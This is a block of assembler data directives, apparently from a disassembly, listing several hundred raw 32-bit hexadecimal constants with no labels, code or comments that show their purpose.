dd 0AA295007h, 70497440h, 42B725E8h, 9D01E4C0h, 0DB09BD2Dh
dd 2D9FA0F7h, 0D3D91455h, 42C04D69h, 0CED737B0h, 0B1895856h
dd 365C0E2Dh, 0B7FEB750h, 0B92FD070h, 0B440606Ah, 50612DFAh
dd 33926290h, 885CD301h, 9C7A1B52h, 53E812D5h, 4EF67B8Fh
dd 0E029A696h, 19BB7D5h, 8B93689Fh, 2EF4FD10h, 0DF128909h
dd 814F5016h, 51BDF242h, 5F9CDD04h, 22516144h, 0ECBD11E9h
dd 768A00DCh, 0BBE5F38Fh, 1B167861h, 98AA5FC8h, 584A536Fh
dd 9E0067B2h, 39A8440Ch, 0C800F5F8h, 695EE56Ch, 0FDE8C5D0h
dd 0B963D10h, 41FE644Fh, 8ED2975Fh, 3561C558h, 77893A1Dh
dd 70F6120h, 0D1FBC6AFh, 95DAFC2Ch, 71BA035Ah, 4164B765h
dd 2A5513CFh, 39A981F9h, 0C64180CFh, 1489F195h, 0B710798Dh
dd 3D4A0FA5h, 848BAF92h, 54E40321h, 3EE5D9BEh, 3FEC29E9h
dd 0E5EAF701h, 5BFC2ECCh, 0B085B72Bh, 18873D2h, 0A94DAB93h
dd 0EEB7DBDEh, 2534E7F7h, 0F3C0247Ch, 5BE975D7h, 3174B04Ah
dd 30469578h, 87A8915Dh, 0BAC4EC07h, 9A39DE26h, 5DEC7D5Dh
dd 597BD39Dh, 4E51819h, 39A9447h, 25B0B885h, 4B187F07h
dd 417DD2F0h, 54E44200h, 0BA5F4C6Eh, 0E3BB02AFh, 0B589E14Fh
dd 9D1D85Dh, 30B3905Bh, 9429775Ch, 5AA618B5h, 0D26286E0h
dd 0C8272B0h, 0D482DA98h, 727F0E78h, 9CAF39h, 3844C0Dh
dd 2FEF014Fh, 0F84D6A71h, 402BFDE3h, 24ABB13Ah, 0F4A5171Dh
dd 506D9C0Bh, 18E06116h, 0BCF86407h, 0CF810218h, 0C0BFB851h
dd 9D85310Eh, 5F3CD652h
dd 2790FC90h, 25EF7EF8h, 0ED5CF6AEh, 495AB1FCh, 0CC7EF229h
dd 730D2D89h, 181679D0h, 0E3571F60h, 2DB831B3h, 1CBF0530h
dd 8DFB27DEh, 0A2AFE892h, 0FC60B187h, 45A15098h, 0EF9F5F61h
dd 314C408Ch, 0AA980B99h, 4DB3134Ah, 3F30778Dh, 0B5F134F6h
dd 6A1C6027h, 0D0A1025Ah, 0F905AD8h, 5BDE8A52h, 29B7A5DDh
dd 0B74ED501h, 0ED3A71CAh, 0A41AA891h, 120F0253h, 30E94C40h
dd 0D5F888E1h, 22E36B87h, 8729B589h, 0DD93A8F0h, 1E56577Ah
dd 8A9C2C40h, 0E11A97FEh, 890C0F51h, 10CBAADh, 0B2985D6Ah
dd 429004E5h, 0F957509Fh, 8B560425h, 0FE9B84FEh, 0BA4BC3F2h
dd 0E3BF4C61h, 0EBDDC07Bh, 0B9723E7h, 0F30EF3CFh, 9E4048FAh
dd 8A8009F5h, 31603CF9h, 0EE115992h, 29044792h, 81C959FCh
dd 6AD07121h, 709DDBF2h, 0B2006A7Bh, 0B8EF922Fh, 9C967240h
dd 9D926CFh, 6D4F050Dh, 89BF9740h, 0B2454A85h, 1A291255h
dd 40A14FACh, 6DBD1001h, 9D108628h, 0F832659h, 0FB851487h
dd 1F8A1761h, 3504F8h, 0DC571382h, 50AEAB1Eh, 0FA076127h
dd 31092385h, 9675EC3Ah, 0F21D4F6Dh, 9D0B1385h, 0BA3D91EDh
dd 4CCBB3CBh, 0C4204FCBh, 272D90B2h, 0EE546B63h, 0F704CB48h
dd 0C8EE7BB8h, 943F1EAh, 2B5D8E6Bh, 0DA467FEBh, 0FE27C84Ah
dd 38D6A0E0h, 0E236005Fh, 0F7BA5731h, 8B2DB1FFh, 436790D1h
dd 0DE2C09D3h, 187966E0h, 0F1472E2Eh, 401E2C0h, 0FD4C13F4h
dd 88D0BFD8h, 0B85BFA8Bh, 4E4938A7h, 5AE4432h, 0A4ED1D5h
dd 19925160h, 3F59A7F5h, 3D8B748Ch, 0BBCB518Dh, 71529623h
dd 2B1841E2h, 0E33F69A1h, 48E91A81h, 0B995040Bh, 5E755E82h
dd 85016113h, 94DC3FD5h, 8BF882Dh, 5AD4DA17h, 2EF789BAh
dd 0A6601462h, 289B1CB3h, 97729589h, 8A9264F9h, 16A70BBh
dd 4DB51698h, 360DE3F8h, 0C3C4B8ADh, 980F2F65h, 1210BB2Eh
dd 0DA4E1CDh, 0F5625FF3h, 0B6ED3AB7h, 79239093h, 3701186Ah
dd 39BEC817h, 0A81473B9h, 0FCE10310h, 77F59529h, 9737973Bh
dd 41C95625h, 0DA80FE38h, 2B1681FCh, 66C07F9Bh, 2C8E2309h
dd 0E25B5225h, 5FCF5F15h, 85815549h, 2F691B77h, 7866F998h
dd 0DF3E4BBEh, 0C01DC83Dh, 0BF13471h, 91C41902h, 7703949Eh
dd 6C2DB737h, 0DA500907h, 4079F98Bh, 0E9304D2Fh, 67CA17EAh
dd 0DB9F8450h, 995B5A71h, 0C283300h, 9813C2Eh, 2A8864E8h
dd 45BACD57h, 38D89818h, 69F3D300h, 119D2953h, 0E1659501h
dd 259DD0E9h, 0B04489D0h, 9D75EE02h, 4070E121h, 9530A9EAh
dd 0A171957Ch, 0B97B7Bh, 0F470AFA9h, 12E8BFA8h, 0F21D64F2h
dd 1EC24A68h, 4A2DFA75h, 0A570AC87h, 2DEB8FBBh, 0D6F57C61h
dd 3CF53097h, 0DA6E09BAh, 30EB91Ch, 9FDF0E6Bh, 601B9250h
dd 0D447A57Bh, 13DE7D3Ah, 0C20594C7h, 39AA14E9h, 404D938h
dd 8A4B2FE8h, 55262D8Fh, 190EDB3Dh, 0AF16A377h, 85BCC4B7h
dd 514AC1A3h, 0A44AAB6Eh, 0C909BB03h, 784D5E27h, 0EC78D05Fh
dd 2A4A8D27h, 34288F5Ch, 97AB7A97h, 17805F3Dh, 1EBF6634h
dd 57A69798h, 27A223EBh, 0C854BB62h, 7FB531E2h, 355D0C29h
dd 81179196h, 80C09485h, 6841B0FFh, 900E20B8h, 4E75173h
dd 0A6C1EA8h, 0D9B75612h, 0E904CD3Dh, 0D8217890h, 820EFDC4h
dd 0E3005B79h, 44F408Bh, 0A9DD01AAh, 6DB9A40Eh, 8AC4805Bh
dd 0A32168D8h, 0E2304AEDh, 0AF150013h, 382C5ACh, 43D006Dh
dd 71E824A0h, 251CF9A5h, 1F13934Fh, 545FA809h, 0A0DE021Dh
dd 48FC30F2h, 0B60112DCh, 0DBEF81B3h, 1D722B56h, 69545EDEh
dd 0B0FB9187h, 217CB9D7h, 1E4E910h, 0A9BD2304h, 832DAB29h
dd 0DF6A3Fh, 32EBDB5h, 4070AA79h, 215EDD39h, 0B9B447F8h
dd 0F26EA972h, 0C9019610h, 2E9FCED0h, 0FD53ED3Ah, 13EBC9E8h
dd 12F9A38h, 0FA0115E6h, 0FEB63B41h, 0EA3016B2h, 0BB8E0162h
dd 2836C531h, 12E62F89h, 0B58953F0h, 0E5308525h, 3BB5A786h
dd 2A2CBF04h, 0BADE12ABh, 995C421h, 1A990815h, 0BF1EABA8h
dd 6052555Fh, 0E089B016h, 24E68A2Eh, 22A4BB5Fh, 966C1C04h
dd 0A5B865B9h, 10DDBA2Fh, 77699C1h, 94FEE49Ch, 0BDE70A3h
dd 623A21ACh, 98A92D53h, 2FDCBF5Bh, 0B57CCBB2h, 501D7352h
dd 0AB0EECBCh, 0F4848C14h, 68F80099h, 9BA7037Eh, 0C7C84EB7h
dd 78023E61h, 0CF485364h, 5B4B417Ah, 0F86A31CDh, 5A51134Eh
dd 8D7A5739h, 0D0A42BD1h, 13DC9D60h, 0C2E55C49h, 37D5DE8Bh
dd 8CA18592h, 0D314EC83h, 9F26FEA0h, 9BFC027Ch, 9988192h
dd 2BC9DABDh, 0D331D228h, 129DE82Bh, 0D2F944E9h, 6F1760ECh
dd 40AB9F29h, 72BFD53Ah, 354B825Ch, 8AB8E28Eh, 0F36EDC5Ah
dd 0EE0FD209h, 43761189h, 41D58578h, 0DAAB3004h, 1E7E1A13h
dd 28A0088h, 359F5E63h, 0D457BFABh, 0DF8101A3h, 0E51BE445h
dd 0F8B73B5Bh, 8E3C9A92h, 3509004Dh, 14E03F5h, 0EF81FD75h
dd 20E617ACh, 3E1784B4h, 0CBCC7BBAh, 13D8CB03h, 0CF509354h
dd 8D011726h, 4C3B075h, 97104EB5h, 0B61DBF64h, 1EC0E6A0h
dd 68857546h, 0A8380739h, 767135EDh, 81204465h, 0BE5B4B16h
dd 0B104C57Fh, 0EB91BD01h, 80316F8Ch, 51026096h, 0E859C58Ah
dd 0D43A200Dh, 0FA00B6A6h, 0ED3571D8h, 95795140h, 538757F1h
dd 98E07A6Ah, 0E2506158h, 99964C5Bh, 24ECE7C0h, 0AA009B84h
dd 2F23384Ah, 15824B5Dh, 0AC558659h, 473E0B94h, 0E314FE12h
dd 0F2E24BACh, 933F8F00h, 0DBCC130h, 3D190A0h, 0B495558Ah
dd 67908C41h, 0AA3F243Fh, 7B08EA4h, 5A5DCC62h, 219970BAh
dd 59252B05h, 9CB4CEBDh, 0C800D42Ah, 0FDD03165h, 17F25D34h
dd 1751FC80h, 6C64BB9Ah, 9D5978CCh, 0E4C9D9F6h, 1356B7F1h
dd 5EB55D78h, 982BC5Fh, 57012BF9h, 73494AEDh, 0A1660098h
dd 423D4B26h, 8D896404h, 0E3BF0CA5h, 51E50107h, 0FBAF7AA4h
dd 0E027C92Eh, 2A072552h, 0A72330C5h, 29CCAEF0h, 82724BCEh
dd 0CFF7F5D9h, 72F66096h, 0C62454BCh, 0B9604782h, 3E627Ah
dd 0FA18B7DCh, 6316F3AAh, 891E8A09h, 820879C5h, 10559D01h
dd 58769B1Ch, 25324BCEh, 57F841B3h, 0EC502B65h, 0EF624A73h
dd 9D8954C3h, 2E2BB1BAh, 6EA9EAADh, 0F45BE60h, 8DDE9D8Bh
dd 8A051BACh, 81FB53D4h, 2A2434B5h, 7C80289Bh, 5E52DD3Dh
dd 8A0F805h, 86629267h, 6B315EF5h, 6A71A841h, 282E09A5h
dd 0D39DAB33h, 9602D8F8h, 64B588BAh, 71E833h, 414788D7h
dd 4B1D9ED8h, 4892595Ch, 3442C00Dh, 9F9A88h, 0AF3DE51h
dd 0EFF72AFFh, 17B01739h, 0A704A48Bh, 0AF570FE9h, 0B89FEC0h
dd 4C3B0091h, 4EF91C1Ah, 9D987853h, 0D8E0F26h, 4E614948h
dd 0AC607747h, 27DA7D5Ch, 3609E645h, 0C90DC4DFh, 4F379670h
dd 0AF0208ACh, 0E09DDF80h, 972B0DF6h, 25FC4694h, 62DD6AEBh
dd 0F0900C6Eh, 0CEA95520h, 291D4861h, 175D8510h, 0AA9D3316h
dd 0B6FB3684h, 8717A314h, 0D72A4008h, 0E1BD8BBBh, 80071FD2h
dd 4D7F1333h, 708D9497h, 0ED2EE165h, 9965B861h, 0F7BA25h
dd 0C1251358h, 63A0195Fh, 0DFCE2C02h, 5E46F3DAh, 1746D6BCh
dd 7538DC00h, 0D8D3147h, 0B55EE695h, 71A537F1h, 0BACDE956h
dd 7510EC42h, 6344A279h, 80F8C1EEh, 4FEB7CCBh, 0CC806FDBh
dd 0D485A922h, 0E1A13B04h, 1A8298F0h, 0C993E4EDh, 0E577190Ch
dd 59ED2B36h, 3BEBF0A1h, 170859B8h, 8012E990h, 0BD0C2D9Bh
dd 0A1FA167Fh, 29672500h, 187D96C7h, 9DE800A0h, 0F2A8BB50h
dd 90253EE7h, 0C2C1628Ah
dd 8717592h, 0BF665F00h, 9761E729h, 2D8B63A2h, 4149CE0Ch
dd 0D3E93E1Ah, 0FEB2F70Bh, 39B90FDDh, 2020BB47h, 5838F1FFh
dd 90DA5E01h, 7DE6B752h, 4687277Dh, 2FE31486h, 99149ECFh
dd 4939234h, 0BC1A5DBFh, 0A06BB42Ch, 8DD0CF2Fh, 96F66E95h
dd 6D74D4F3h, 0ECDAD161h, 0F4DAFFCAh, 4E00DCE1h, 5D826738h
dd 4B619509h, 2225CE2Ch, 2A037D32h, 51822041h, 0EC5C902h
dd 1AB39000h, 0AD21F9B5h, 8240F0DEh, 24884514h, 964A9025h
dd 66AB281Dh, 3D1FBB05h, 38AB5DE9h, 4929548h, 4D404297h
dd 0D69FE001h, 8B2F192Dh, 5A48FBF8h, 1162718h, 0EC78F028h
dd 0F290F92Dh, 95F5EAB3h, 55287Eh, 47AEF8ECh, 0E0FED817h
dd 0EFFA2997h, 0EC5960BBh, 1600A136h, 3EDCF751h, 0AAA5B589h
dd 25DEF4C9h, 0BF04F466h, 4252D2D6h, 5144C8EBh, 0F4992909h
dd 63029803h, 623D00ABh, 0E2DD4D17h, 0F300E886h, 0DBF7666Ch
dd 90EED7A7h, 6EFF5EBEh, 0A177059Ch, 83839C85h, 819D01ADh
dd 437AC6E7h, 0E56B704Ah, 51647C97h, 78BF1041h, 4A9673D4h
dd 0AB7ED4B0h, 9B015BE3h, 20F7F5C1h, 61A36A8Fh, 96F38100h
dd 5F2B4414h, 85EA2297h, 130D3134h, 2EC9E931h, 0D704810Ch
dd 4F24D1B1h, 5FABF61h, 0DF48E50Bh, 8966E462h, 9B07B990h
dd 0E007C0F1h, 8A204CC0h, 59F80B5Dh, 63579D7Ch, 1321A981h
dd 49243A09h, 89800EB2h, 77CB5102h, 0BD29D909h, 5E86CA4Dh
dd 0D0F602F2h, 8A9AD18Bh, 27FE7857h, 61C45D12h, 8D832300h
dd 9BC86A89h, 1CE0E0AEh, 0C0C60A68h, 5BAD7160h, 2FCD84E9h
dd 893A2C89h, 18856A1Eh, 0B44A8EE8h, 0ADCFEFEh, 899D0109h
dd 826577BAh, 7A2FA42Ch, 55E9285Eh, 0F9B5120Bh, 0B1F7B810h
dd 622E099Dh, 79293AE4h, 8EBF07D5h, 0F06AF050h, 2F1668ABh
dd 75BB0F88h, 96F6E8FFh, 2C61BE04h, 18958905h, 2D75E667h
dd 4AC59D88h, 8409F219h, 0BF00A774h, 35D43D1Dh, 0AAE66A5Fh
dd 55B5E7F0h, 24466B0h, 0F75A4AB3h, 44E93A07h, 5FA5AA23h
dd 0EA1727E8h, 19117795h, 24B43B61h, 2ADD21BDh, 51D6EDACh
dd 5275C07Dh, 62EF7085h, 47CCEE43h, 0BF5C958Dh, 0DE39E6E0h
dd 0EFEE17ABh, 0C65F0144h, 20572F3Dh, 421CBE93h, 0BD2DBA5Fh
dd 7201805Fh, 80E3D66Dh, 0C74AF325h, 259FA0E1h, 30750CCDh
dd 4FB529FDh, 53F41E69h, 0EC81E988h, 0D4EB17C5h, 932AFEF1h
dd 28E0C080h, 0FCF13513h, 0BAB832B1h, 2F0F6E4h, 20F65B4Ah
dd 512FE7B5h, 0C3E07F95h, 9912595h, 0BF41A7C7h, 0D6689AD2h
dd 0C82F2880h, 0A0007C26h, 2B5C64ACh, 0CDFB996h, 55BE4C9Fh
dd 6D13626Eh, 960B5F11h, 7634DFF9h, 0CC730A0h, 0A448DA43h
dd 1B9070C0h, 1A0015A0h, 8C28B3EBh, 0E653CEF8h, 8CC84BFFh
dd 0C4B55189h, 0BAD49F74h, 4FC0011Fh, 342A6AA3h, 0ACB70E50h
dd 812E072Dh, 0FF5B7B21h, 259E68E1h, 155AC730h, 3104B6C3h
dd 0AA30258Dh, 176FDA9Dh, 613CBB04h, 603FC1BFh, 0EE8D29F5h
dd 2E61D0E9h, 0D2735028h, 596FFB2Ch, 72DF7600h, 14288BEBh
dd 7D6E604Bh, 0F96310Fh, 825A6FD4h, 0F70B14B6h, 0D98CB602h
dd 113755h, 2A0A740Bh, 0B97F5D4h, 0C5BEED89h, 9CF2BBC5h
dd 3D8AD14Ah, 0E87E7901h, 0C0760015h, 16F73B12h, 1A95845Fh
dd 1C6EFDEAh, 77D0CF12h, 0AC4FADE3h, 70EE5AEBh, 0F3168357h
dd 280A4200h, 78FCA7Dh, 6518BDD9h, 920E8BA5h, 4069A1B3h
dd 0FCDB5EC7h, 4CD91C76h, 0D6F42F30h, 0F427251Ch, 3C03FCD0h
dd 0C21CD538h, 5FAAAA9Bh, 67D5D78Bh, 0C42D78h, 0C9F1C200h
dd 0EB59D17Eh, 4BBF0350h, 8B56FB3Fh, 1E126948h, 512C476Bh
dd 73CBE85h, 5E150D8Ch, 0B5AC22h, 36200853h, 4A07787Dh
dd 6534BE68h, 765E1800h, 32EB3Bh, 4F99D278h, 529DACC7h
dd 0E0DB585Eh, 182C7580h, 8E4E5C59h, 0E94E57ADh, 159D8585h
dd 0EC1156FFh, 0A3A75A4Dh, 40818550h, 524BE930h, 0C331DC89h
dd 0C85F9B6Ah, 5BF1C116h, 7B343F38h, 70B8A813h, 1089B50Bh
dd 4F9C945Dh, 753C260h, 0D4B531F5h, 1DCDE7E0h, 4211415Eh
dd 619E0F02h, 7FA5D05Ch, 43E138EDh, 9441B54Eh, 0E77E0331h
dd 5A85879h, 32C14E37h, 0D10C9AEFh, 60EAD7DDh, 5FD9FB4Dh
dd 0D7915597h, 0A646FE89h, 0B45A6F01h, 17C33E53h, 3D02072Eh
dd 0E248A3B9h, 1EA99D4h, 8409C9EEh, 2904460Dh, 1728FDABh
dd 34A95296h, 0FD98A01h, 0F8EEBB31h, 30B635C2h, 0BD666625h
dd 6895688Ch, 0CF5B2B02h, 5CD88B8Dh, 0A8D40247h, 405C724Fh
dd 5CE9B3C2h, 0CB81002Ch, 7CA1A7Ah, 64DFEDBFh, 0A9136018h
dd 4A9D0B54h, 18DDD98Bh, 28D24E1h, 0CB7A8894h, 0A61CD466h
dd 0D3B81FDDh, 6265C073h, 860E5B6Fh, 9B1E8C14h, 3A955EC2h
dd 90B7E2EAh, 0A4093E21h, 1D4413F1h, 0BBF98B45h, 5EBB51A6h
dd 72EE98h, 0D6F8C4BAh, 0E33DB2C0h, 0C34EC29Ch, 0C4433302h
dd 885930ABh, 2A014F46h, 192F5F27h, 0D5D61B10h, 0BF9800E6h
dd 69239495h, 0D409B77h, 6D7667CEh, 0B780A699h, 49A11354h
dd 0AA61017Dh, 0EE1F0848h, 0F02C30DBh, 0DF96EEF5h, 7ABA4C5Bh
dd 13F92F5Eh, 3FF180D8h, 2CB90105h, 4F49135Ch, 6DA66BFCh
dd 0C3EA704Fh, 0D3B57774h, 8353A7F9h, 1E4D450h, 27B318B6h
dd 2053714Eh, 0A7BD61D3h, 7739B589h, 0CF40404Fh, 0B0A6E1BFh
dd 0B503E4A5h, 34983C6Eh, 0C0BE9648h, 262F46E8h, 8FB70779h
dd 4A0F502Ah, 0F2964594h, 0AD140191h, 58619B11h, 28F4F4E9h
dd 15A90AD2h, 0EB9EA1D9h, 0F54BC244h, 0C03F158Dh, 5F80347Dh
dd 8BB776A4h, 0C20554A3h, 0EF75C486h, 9BBF60C4h, 90015507h
dd 8603ED36h, 0F36C576Fh, 5B927909h, 1B59B05Bh, 98074718h
dd 318269Ch, 20CAD81Bh, 8A5E19D1h, 0E9D116AEh, 20501685h
dd 8EC8DBFBh, 57BB6902h, 82E0236Fh, 27855072h, 0BF7029C5h
dd 52A03895h, 8A815E0Fh, 8F13044Eh, 0BCAAE1B6h, 0D62F81CAh
dd 0F1F6BF3Dh, 0FD011485h, 0B7850AD5h, 3BD2B3FAh, 627D2531h
dd 5BD05D24h, 0C466CD9Fh, 5409EF0Bh, 4845F72Dh, 0AC70ED59h
dd 0E91F5F55h, 0D6E8020h, 116F695h, 2DB08D08h, 7FC04603h
dd 1AC8A7DAh, 34B1CC1h, 4E4EA83Bh, 0A6A8B9C4h, 242B4CA2h
dd 2AAEE801h, 37BC4EAEh, 0A55D5BCBh, 0E3BBD933h, 64B9F54Bh
dd 38074880h, 0F70A33F6h, 0C0272BBBh, 0BF2CBD23h, 806EC063h
dd 5ECA40A0h, 908CE994h, 0AD310061h, 64CB702Ch, 99BC024Dh
dd 8F862381h, 9A5A940h, 31F56595h, 2A14511Ah, 0F92FBECAh
dd 0DF4B83FBh, 0A585CFB0h, 0BE570340h, 4A341026h, 0D3FBA3A5h
dd 8FEECCA1h, 0BD231E12h, 253CFAADh, 6D5DF4B4h, 465FE9F4h
dd 0FB8B39D4h, 185DC125h, 0DF8156h, 5640E619h, 7F09BF90h
dd 395E079h, 0DD0C944Dh, 3DB899BDh, 69AAD800h, 0E55712A4h
dd 605C28D7h, 309EBEA6h, 4270897Ah, 379F2E78h, 0C98580C0h
dd 727453CAh, 0A9AEA213h, 544596F1h, 1458ABEh, 0BB9436F9h
dd 0C60C996h, 4196B265h, 458C001Eh, 6D95173Ch, 7EAEE0FBh
dd 0CE258868h, 0FC0262A3h, 0C900DC3Dh, 136E255Eh, 3EC767E3h
dd 785CA1F4h, 1BEF4BC0h, 0AC5CF721h, 5BCC0385h, 0A54F7875h
dd 5CF88880h, 413F9029h, 0B1822B20h, 22E5F787h, 0C6092300h
dd 50D1492Dh, 9FAD0F2h, 0E6F3B866h, 9DE0FA75h, 2703AF37h
dd 46F97651h, 34F0843Eh, 0CE7685EBh, 2386FF05h, 0B3FB0F9Dh
dd 0AD3E3CC7h, 52B0D4FAh, 14CC31FFh, 3FBC8B10h, 0E3092600h
dd 9C4DC455h, 0C23200C5h
dd 0E85B8161h, 674AEB8Eh, 1F4C82CDh, 3CF00005h, 1DF76863h
dd 0FF09846Ah, 61D98AD1h, 382B2014h, 3DB59C50h, 7D3D8031h
dd 0FC786CCDh, 4D88FD07h, 1E249D89h, 8DB3FEh, 44CCDB8Eh
dd 2FA91E8h, 417B8CF9h, 0D3DD6684h, 71DC7814h, 82F7113Dh
dd 0D4F48C64h, 0DB0D6890h, 2F80EC31h, 0FAFB37C7h, 0CE181C59h
dd 174EF500h, 9BEB6209h, 8D890CA3h, 9FE51061h, 20BA9C95h
dd 2EDD3C4Fh, 0CDEA12D7h, 0DA247BE7h, 57C681D0h, 9561725Fh
dd 0B6B7AE98h, 0EFBB9001h, 501060BFh, 723ED3DEh, 1D9DD95Dh
dd 0FB82ADA3h, 0D3D525A4h, 261B590Bh, 0D3820004h, 55113F9Dh
dd 0C2165F7Ah, 45F715F0h, 253C2626h, 0F1AF44F4h, 450754B8h
dd 82862C5Bh, 0E7F129h, 467D8C7Bh, 4C00F82Ah, 0E82B4E01h
dd 2569E27Eh, 0B7D7FF6Ah, 235602C0h, 0CCC1C42Dh, 0FEF96EDDh
dd 0B2303D12h, 0A752889Eh, 0C4428E11h, 0AD016283h, 0FE1D63DFh
dd 3E85C193h, 0AB24574Bh, 42790AA0h, 71E4161Bh, 7F84471Ch
dd 99AD6DEBh, 80C42322h, 99AC11F9h, 898FD39Fh, 9B56FA59h
dd 0B02FBC4h, 745D5D9Dh, 0F5484C8Dh, 77B32E4Ah, 25296B79h
dd 0FD57B940h, 51C82B07h, 0BDF06DBBh, 588B5B5Fh, 0B91A55D1h
dd 0D85DFB22h, 0FAF69D4Ah, 564C94C2h, 47550662h, 0D1256249h
dd 255A592Ah, 126D2CFCh, 0E2EB98C2h, 0E14B03AAh, 0C78DA9FAh
dd 44985FA0h, 69DA3425h, 81102E77h, 88014AE7h, 95016E80h
dd 9D901ADDh, 9417C887h, 3AC5D260h, 0B9AF80C5h, 20E2A90h
dd 0E0C9B2F4h, 3ED73758h, 786C9561h, 8419D71h, 0FD41047Bh
dd 0A664BB0Dh, 9395C0BEh, 5E003A6Ah, 550960D0h, 2D965822h
dd 39C47678h, 36E26D14h, 99750082h, 0BDEFDD68h, 615E255Ah
dd 2653C364h, 0B74B78EEh, 31CB3EF9h, 4B9B92FFh, 0B8ACCCFEh
dd 3869BD91h, 20424CD7h, 4697B897h, 0E5A29709h, 7B7D17BDh
dd 59502DE6h, 0F78119C0h, 1816A4BAh, 0FD6CB923h, 1FE4B501h
dd 5298D3BDh, 0C9CF7CDEh, 0BD0584F8h, 0FC4344AAh, 188AEAB8h
dd 52C7F500h, 0BA6D94D0h, 885310A1h, 1212D1C2h, 0C559B65Fh
dd 60EF1B89h, 0F396934h, 2F0BCF00h, 19834F15h, 0B249130Ch
dd 0CDCFEB4Ch, 61301BCBh, 0D302C5DFh, 0EA5EF4CEh, 33924016h
dd 69D59CB9h, 0F169A504h, 432A2A98h, 8CCD1D82h, 0F59F1AF5h
dd 0DB58C859h, 0C8565A9Bh, 47A2EFAh, 8988323Fh, 24A5F5Ch
dd 0F140107h, 0B2EBA812h, 0F6BE743Bh, 2F00B00h, 4E799FF2h
dd 10948D3h, 413CF0D0h, 152B7DAh, 0EF25BB66h, 282BE1FFh
dd 4413B2Bh, 1E05FC01h, 431F382Bh, 0D810FBB7h, 75053E2Dh
dd 9E79CF6Dh, 9D8D4681h, 278BCF7Fh, 0E2BDD7D7h, 39FC123Fh
dd 0E7B12204h, 602F47ECh, 16C2A689h, 0DE251D54h, 0E12FDC57h
dd 10057E16h, 5F892F18h, 0A252A224h, 0EF5A44h, 4E443AC4h
dd 5F4A8FF0h, 0FEA935C5h, 0DD4C63B8h, 1BBB0275h, 5678342Fh
dd 0AF299637h, 3700B07Bh, 10139558h, 924E4635h, 0F62E1EF1h
dd 0FE5A794Eh, 0F53161AFh, 0C0473C90h, 0D692D4B6h, 0CF09007Ah
dd 9801EE65h, 0F215F46h, 5012BC82h, 0C16EC856h, 7E25EE00h
dd 5B8CC815h, 8D310990h, 997A17F5h, 0D894A95Ah, 5B856FABh
dd 0FCB241AAh, 0CC87A768h, 52635047h, 0A2310FEFh, 0DE60D5DEh
dd 84E82434h, 57477727h, 76819FBFh, 0D98B08CFh, 8CE1342Ah
dd 0EB06DEACh, 912C5C17h, 0AAE3015Eh, 1D5429C2h, 271C61E9h
dd 0C4B8B0ACh, 31A40506h, 0BB336241h, 99208F1Ch, 5A6380B7h
dd 27CEC440h, 4182A301h, 5BF8574Dh, 0A520BD6Ah, 0BAA482B6h
dd 1B0293E2h, 0FB8B91B7h, 8909EB74h, 2B4677A6h, 0DD25D7BEh
dd 64801237h, 0EEFEDE02h, 5CCB089h, 778EACD3h, 0A7DAEB21h
dd 7E8160D7h, 2217D51Eh, 2713F8D8h, 125FB7B9h, 0B80BFDDEh
dd 0BE7E298h, 0DA654353h, 840463F7h, 0AF4E1E13h, 15D164FBh
dd 0C5F2818h, 4568ACC0h, 2530788Ah, 5121810Fh, 7FFEB750h
dd 89BA67D0h, 6B0C562Fh, 0B53B88B0h, 7005BEECh, 9529DC6Dh
dd 8D8849EFh, 0CB296FD7h, 15841F6h, 2C292D85h, 1745F274h
dd 78FBA222h, 0F6B75A95h, 0E3810003h, 1FB8A336h, 78D09B61h
dd 52B80135h, 0BFBEE897h, 86ED1261h, 4DDEAB32h, 25BF692h
dd 0BFA4B4B5h, 519454ACh, 3D5DC23Dh, 0E43D0129h, 0C0BB1579h
dd 8582DAAh, 3A0CC065h, 9ABE2E0h, 8BED8EF2h, 23B127Fh
dd 5F1F9DE8h, 0B6743BC7h, 666D2585h, 7AC70DC0h, 51132560h
dd 5E57B712h, 0FC5B4578h, 0C50480C2h, 953AABEAh, 0E9459694h
dd 95B39C2Ah, 0FEC8294Fh, 96E7BF15h, 0DF3ECA1Ah, 7772B0DBh
dd 8B5A82ECh, 30B1AF2h, 98F68D9Dh, 4B0F5652h, 251AEE57h
dd 906688C8h, 6BFB919Fh, 262A64E0h, 9934A6Eh, 0A540511h
dd 17C38150h, 0EA0E6CDFh, 6A7BBBDDh, 0BB9C0064h, 76F6B5DEh
dd 732A0063h, 7FF78140h, 725E95CAh, 0DD5292ECh, 80EEE95Eh
dd 0F66CA3F9h, 421D009Fh, 0BA665904h, 28BF93C9h, 0DE2FCBAEh
dd 3F55AF01h, 0CCCABE16h, 8F4F0F92h, 8ACB0DA8h, 4E2568D1h
dd 79F8469Ah, 56CABF12h, 9756DAABh, 2B54698h, 0F6F9B438h
dd 11C2FDC2h, 4D2547DCh, 60176499h, 4E26539Ch, 0D131AE45h
dd 6E7E04C2h, 0B2855A8Dh, 930121FFh, 936B2BC1h, 0A5001A23h
dd 967F3D16h, 1C3F4865h, 0B52C5909h, 0C2D5D1E1h, 0BB3B1655h
dd 991A50BAh, 2B218700h, 813DDBA5h, 0F7A40BCFh, 0E4DD1F0Eh
dd 9B6A4B81h, 0B7BCC083h, 0E253F8h, 579691ECh, 1319BB49h
dd 0EC1C3D2Fh, 0D98D1220h, 0B451A82Bh, 0EB6ABEh, 6C5D56ECh
dd 4507F28h, 8BEBB660h, 0BDA18CF3h, 1413D15Ah, 0C0D29FEEh
dd 0BF058C43h, 0CC0D17AFh, 686BAF39h, 580C604Eh, 3180E0D6h
dd 0A147B52Dh, 57274F11h, 8A20465Ch, 0E4799D24h, 2A345093h
dd 8B7477FFh, 5FC4B9FFh, 0B007F76Ah, 763E3Ch, 0FA21D4DBh
dd 0ADBD89E9h, 2AAF194Bh, 8426CAAAh, 5522990Bh, 5B25C4C5h
dd 0D6E8534Bh, 23B2054h, 47B39442h, 48BF8052h, 955DA3B2h
dd 897DEB9Ah, 4FEC51D0h, 9D0904F1h, 2B281A39h, 0C69E91B7h
dd 31FBF05h, 0FEFC5CADh, 881A3097h, 18FA5A8Bh, 4FE951F0h
dd 0FAB9F45Ah, 97200510h, 0A080E8A8h, 3E312BBDh, 0B6461113h
dd 5B804FA0h, 0E4CD1D8h, 0BBEAE9F0h, 2C964C31h, 508A314h
dd 0F3FF3C04h, 248F7A30h, 2F3D1749h, 38F36132h, 58CB102Fh
dd 1AC2662Bh, 7EC2A8F0h, 5D5A4D38h, 0BD48E0F6h, 33C5000h
dd 0EC3A81D0h, 8419C945h, 2D70A9DAh, 0E90A1062h, 8299F4D9h
dd 958589C8h, 4003F348h, 414F3C6Bh, 8A491DBEh, 2012D6E7h
